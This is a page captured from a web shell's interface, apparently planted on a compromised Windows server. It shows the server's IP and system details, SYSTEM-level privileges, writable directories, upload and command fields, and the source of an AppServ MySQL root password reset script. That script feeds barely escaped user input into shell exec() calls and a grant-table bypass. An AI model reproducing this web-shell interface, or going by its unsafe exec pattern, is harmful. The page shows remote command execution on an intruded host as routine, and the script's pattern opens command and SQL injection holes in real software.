403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/MySQL/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/MySQL/scripts/resetpwd.php
<?php
error_reporting(0);
echo "Welcome to AppServ MySQL Root Password Reset Program\n\n";

AppServCMD();

function AppServCMD() {
	define('STDIN',fopen("php://stdin","r"));
	echo " Enter New MySQL root Password : ";
	$input = trim(fgets(STDIN,256));
	$input = ereg_replace('\"', "\\\"", $input);
	$input = ereg_replace('\'', "\'", $input); 
	$len = strlen($input);
	if ($len < 8) {
		echo "\n   MySQL Password must be at least 8 characters!\n\n";
		sleep(5);
		exit;
	}
	echo "\n   Please wait ...................................\n\n";
	exec ("net stop mysql57");
	exec ('start /b C:\AppServ\MySQL\bin\mysqld.exe --skip-grant-tables --user=root');
	exec ("E:\Inetpub\MySQL\bin\mysql -e \"update mysql.user set authentication_string=PASSWORD('$input') where user = 'root';\"");
	exec ("E:\Inetpub\MySQL\bin\mysqladmin -u root shutdown");
	sleep(3);
	exec ("net start mysql57");
} // end function

?>

Youez - 2016 - github.com/yon3zu
LinuXploit